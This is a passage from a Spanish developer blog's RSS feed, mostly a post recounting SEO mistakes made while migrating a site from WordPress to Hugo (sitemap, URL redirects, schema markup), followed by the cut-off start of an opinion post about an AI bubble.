      <content:encoded>&lt;p&gt;Hace unos años, migré mi sitio web un par de veces, primero de Wordpress a Frontity (Un framework de wordpress en React) y luego de Frontity a una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/digital-ocean-review-analisis-y-mi-experiencia-como-usuario/&#34;&gt;app de Hugo en Digital Ocean&lt;/a&gt;&#xA;. No me arrepiento para nada de mi decisión, pero cometí unos cuantos errores respecto al SEO que probablemente puedas evitar si tomas en cuenta lo que estoy a punto de contarte.&lt;/p&gt;&#xA;&lt;p&gt;Tras el error incluso escribí una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mi-guia-de-seo-tecnico-basico-solo-para-desarrolladores-web/&#34;&gt;&#xA;  &#xA;    &#xA;      Mi Guia De SEO Técnico Básico Solo Para Desarrolladores Web &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-deberia-importarte-el-seo-en-el-desarrollo-web&#34;&gt;¿Por qué debería importarte el SEO en el desarrollo web?&lt;/h2&gt;&#xA;&lt;p&gt;El SEO es el factor que determina si un sitio web aparece primero en los resultados de búsqueda de un motor de búsqueda (casi siempre Google pero puede ser Duck Duck Go, Bing, Yandex, entre otros) o si es sepultado en las últimas posiciones, recibiendo poco o nulo tráfico y condenando al negocio que representa a la quiebra, o si es un proyecto personal, al olvido total junto con tus sueños de grandeza.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Conoce la que es considerada como la Biblia del SEO, cubre prácticamente todo respecto al SEO.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro The Art of SEO\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744682069/coffee-bytes/the-art-of-seo-book_mohlar.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4lrKniV\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio\&#34;,\&#34;title\&#34;:\&#34;¿Quieres especializarte en SEO pero no sabes donde?\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Y no estoy hablando de diferencias sútiles, estoy hablando de diferencias abismales.&lt;/p&gt;&#xA;&lt;p&gt;A riesgo de sonar redundante, lo repetiré nuevamente: el tráfico de un sitio web es mucho más importante que la eficiencia, el aspecto o el lenguaje o framework con el que esté hecho, sí, aunque lo escribas en C++, Rust o directo en ensamblador.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/aves-exoticas-org-bad-ui-good-seo.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/aves-exoticas-org-bad-ui-good-seo.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Aves exoticas is a perfect example of a web site with good seo but awful UI&#34; width=&#34;500&#34; height=&#34;322&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Aves exoticas es el ejemplo perfecto de un sitio web visualmente no tan atractivo, pero con un SEO impecable que lo posiciona en la primera posición en google.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;el-seo-sirve-los-desarrolladores-web-suelen-ignorarlo&#34;&gt;¿El SEO sirve? Los desarrolladores web suelen ignorarlo&lt;/h3&gt;&#xA;&lt;p&gt;La mayoría de los desarrolladores poseen un background ingenieril, donde se valora la eficiencia, las buenas prácticas y se pasa por alto el aspecto comercial de un sitio web.&lt;/p&gt;&#xA;&lt;p&gt;De ahí que cuando un desarrollador web lanza sus proyectos personales, suele ignorar por completo el SEO y se centra, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;erróneamente, en optimizar su sitio web al máximo&lt;/a&gt;&#xA;, generalmente consiguiendo un sitio web extremadamente rápido, eficiente, e incluso visualmente atractivo, pero sin tráfico.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/web-development-assembly.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/web-development-assembly.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Web development in assembly meme&#34; width=&#34;500&#34; height=&#34;654&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Dicen por ahí que solo los verdaderos programadores programan en lenguajes de bajo nivel&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;mis-errores-al-migrar-un-sitio-web-de-wordpress-sin-considerar-el-seo&#34;&gt;Mis errores al migrar un sitio web de Wordpress sin considerar el SEO&lt;/h2&gt;&#xA;&lt;p&gt;Cuando migré el blog lo primero que ignoré fueron las múltiples consecuencias de hacerlo abruptamente. Para empezar el sitemap, posteriormente la estructura de las URL y por último, como cereza del pastel, la ausencia de un schema.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-presencia-de-un-sitemap-es-crucial-en-el-seo&#34;&gt;La presencia de un sitemap es crucial en el SEO&lt;/h3&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/sitemap-dinamico-con-django/&#34;&gt;Un sitemap es un archivo xml que funciona como un mapa de tu sitio web&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;El sitemap que tenía mi sitio web anterior se encontraba en una dirección específica, cuando migré el sitio web esa dirección cambió, por lo que Google fue incapaz de encontrar el nuevo sitemap, ¿qué sucedió? Google indexó las páginas como pudo y quiso y, como seguramente ya sabrás, no fue la mejor manera y sufrí las consecuencias.&lt;/p&gt;&#xA;&lt;p&gt;Me di cuenta lo mal que estaba cuando una noche mi celular vibró al ritmo de la cascada de advertencias que Google Search Console mandaba en forma de  notificaciones de mi celular.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &#xA;    Un sitemap es un índice, usualmente en formato XML, que lista las páginas de tu sitio web&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;¿Cómo pude evitarlo? Entrando en Google search console y reemplazando la vieja dirección del sitemap por la nueva y solicitándole a los sistemas de google una nueva lectura.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-me-di-cuenta-de-que-la-estructura-de-las-urls-es-importante-en-el-seo&#34;&gt;Como me di cuenta de que la estructura de las URLs es importante en el SEO&lt;/h3&gt;&#xA;&lt;p&gt;Pero mi pesadilla no terminó ahí, tras la migración de Wordpress a Hugo Google detectó una gran cantidad de errores 404 al acceder a las viejas URLs y, como resultado de la consecuente penalización, mi tráfico disminuyo cerca de un 70%.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;¿Por qué sucedió esto? Imagínate que los motores de búsqueda ven tu sitio web con una estructura URL como la siguiente.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Website--&gt;Year;&#xA;    Year--&gt;Month;&#xA;    Month--&gt;Day;&#xA;    Day--&gt;Entry_1;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Y cuando tu realizas la migración, la estructura cambia;&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Website--&gt;Posts;&#xA;    Posts--&gt;Entry_1;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Lo importante a recordar aquí es que los motores de búsqueda no tienen una manera de reconocer fácilmente que una entrada es exactamente la misma que otra si ha cambiado de ubicación, sobre todo si esta migración conlleva cambios ligeros en los elementos HTML de la página. Si bien es cierto que Google puede detectar contenido duplicado y es capaz de renderizar una página web, eso no significa que &amp;ldquo;vea&amp;rdquo; las entradas de manera visual, como un humano lo haría, en sus entrañas sigue recibiendo y analizando texto en forma de HTML.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-pude-haber-evitado-esa-caida-de-trafico&#34;&gt;¿Cómo pude haber evitado esa caida de tráfico?&lt;/h3&gt;&#xA;&lt;p&gt;Por medio de una redirección, en este caso bastaba con indicarle a Google que si accedia a &lt;em&gt;/2020/12/12/entry_1&lt;/em&gt; debía redirigirse a &lt;em&gt;/posts/entry_1&lt;/em&gt;, ¿y cómo? &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;retornando una respuesta HTTP 302 o 308&lt;/a&gt;&#xA;, Found or Permanent redirect, respectivamente.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-ausencia-del-marcado-de-datos-estructurados-o-schema&#34;&gt;La ausencia del marcado de datos estructurados o Schema&lt;/h3&gt;&#xA;&lt;p&gt;Cuando usaba Wordpress el plugin Yoast se encargaba del marcado de datos estructurados, pero en Hugo esto tiene que realizarse de forma manual, por lo que mi sitio web duró un tiempo sin estos datos estructurados, ¿el resultado? Una penalización de google en forma de una disminución de las impresiones, y por ende el tráfico de mi sitio web.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/schema-ld&amp;#43;json.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/schema-ld&amp;#43;json.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla del marcado de datos estructurados en un sitio web&#34; width=&#34;677&#34; height=&#34;196&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;El marcado de datos estructurados para un sitio web luce así&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &#xA;    El marcado de datos estructurados se presenta generalmente en forma de un script de tipo application/ld&amp;#43;json en un sitio web, no se puede apreciar de forma visual pero es leído por los motores de búsqueda y les sirve para entender el tipo y las relaciones que existen entre cada una de las entidades de tu sitio web.&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;¿Cómo pude evitar este error? Simplemente añadiendo un esquema de datos estructurados personalizado y leyendo al respecto en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://schema.org&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;la págia oficinal de schema org&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;no-olvides-actualizar-la-google-search-console&#34;&gt;No olvides actualizar la Google Search Console&lt;/h2&gt;&#xA;&lt;p&gt;Si vas a cambiar también de dominio al cambiar tu sitio web, Google Search Console tiene una herramienta que te permite indicarle a Google que vas a cambiar el dominio, de esta manera Google &amp;ldquo;sabe&amp;rdquo; que vas a migrar tu contenido y puede hacer una equivalencia de las nuevas URLs a las viejas, para que no pierdan posiciones en su sistema de ranking.&lt;/p&gt;&#xA;&lt;h2 id=&#34;recuerda-guardar-la-misma-estructura-semantica&#34;&gt;Recuerda guardar la misma estructura semántica&lt;/h2&gt;&#xA;&lt;p&gt;Si vas a migrar de Wordpress, esta plataforma tiene cierta estrutctura de urls, por ejemplo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/category-1/title-54&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/category-2/title-12&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Asegúrate de que cada url en tu nuevo sitio guarde la misma estructura, tendrás que trabajar extra pero con eso te aseguras de que los buscadores entiendan las jerarquias que existen entre los elementos de tu sitio web de la misma manera.&lt;/p&gt;&#xA;&lt;p&gt;Esa es la trágica historia de como disminuí mi tráfico siendo un lego en el SEO.&lt;/p&gt;&#xA;&lt;p&gt;Pero tras este incidente hay un final feliz, pues me puse a leer y ver videos al respecto y aprendí muchísimas cosas que puse en práctica, ahora mismo el sitio web no está al nivel que estaba antes pero se dirige hacía allá y lo mejor es que ahora sí sé lo que estoy haciendo.&lt;/p&gt;&#xA;&lt;p&gt;No me había dado la oportunidad de tocar este tema en el blog, porque semánticamente está bastante alejado de lo que la mayoría de devs entiende por desarrollo web, aunque realmente no lo sea.&lt;/p&gt;&#xA;&lt;p&gt;Pero por fin me decidí a plasmar estos erorres en una entrada y si pueden ahorrarte un par de dolores de cabeza, pues que mejor.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Hace unos años, migré mi sitio web un par de veces, primero de Wordpress a Frontity (Un framework de wordpress en React) y luego de Frontity a una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/digital-ocean-review-analisis-y-mi-experiencia-como-usuario/&#34;&gt;app de Hugo en Digital Ocean&lt;/a&gt;&#xA;. No me arrepiento para nada de mi decisión, pero cometí unos cuantos errores respecto al SEO que probablemente puedas evitar si tomas en cuenta lo que estoy a punto de contarte.&lt;/p&gt;&#xA;&lt;p&gt;Tras el error incluso escribí una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mi-guia-de-seo-tecnico-basico-solo-para-desarrolladores-web/&#34;&gt;&#xA;  &#xA;    &#xA;      Mi Guia De SEO Técnico Básico Solo Para Desarrolladores Web &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>El auge y la caida de la burbuja de AI</title>
      <link>https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/</link>
      <pubDate>Thu, 18 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Antes de que leas esta entrada, quiero que algo quede muy claro. &lt;strong&gt;Una burbuja no implica que algo sea inútil o sea falso o vaya desaparecer, lo que implica es que su valuación en el mercado está muy por encima de su valor real.&lt;/strong&gt;. Eventualmente el mercado se corregirá y su valor caerá.&lt;/p&gt;&#xA;&lt;p&gt;Lo que se debate aquí no es si la AI es útil o no, claro que lo es, por lo menos para un sector específico de la población (los programadores), lo que se debate es si está inflada o no en el mercado.&lt;/p&gt;&#xA;&lt;p&gt;Pero yo creo que, si bien la AI tiene capacidades asombrosas, está lejos de revolucionar el mundo y conseguir la automatización total esperada por el público en general en el corto plazo. La AGI que promete reemplazar a todos los empleados aún está lejos, si es que es posible, lo más cercano que tenemos es una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;habitación china de Searle&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Y no estoy solo en esto, incluso compañias tan grande como Apple, abandonaron la carrera de la AI, ¿sus razones? Probablemente puedes encontrarlas detalladas en su paper &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://ml-site.cdn-apple.com/papers/the-illusion-of-thinking.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;The Illusion of Thinking: Understanding the Strengths and Limitations of Reasoning Models via the Lens of Problem Complexity&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755670736/Sam-altman-sees-an-ai-bubble_rx7hdu.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755670736/Sam-altman-sees-an-ai-bubble_rx7hdu.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme Sam Altman sees an AI bubble&#34; width=&#34;745&#34; height=&#34;454&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Incluso &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.cnbc.com/2025/08/18/openai-sam-altman-warns-ai-market-is-in-a-bubble.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Sam Altman admite que ve una burbuja de AI&lt;/a&gt;&#xA;, de acuerdo a los medios:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;“Are we in a phase where investors as a whole are overexcited about AI? My opinion is yes. Is AI the most important thing to happen in a very long time? My opinion is also yes,”&lt;/p&gt;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine 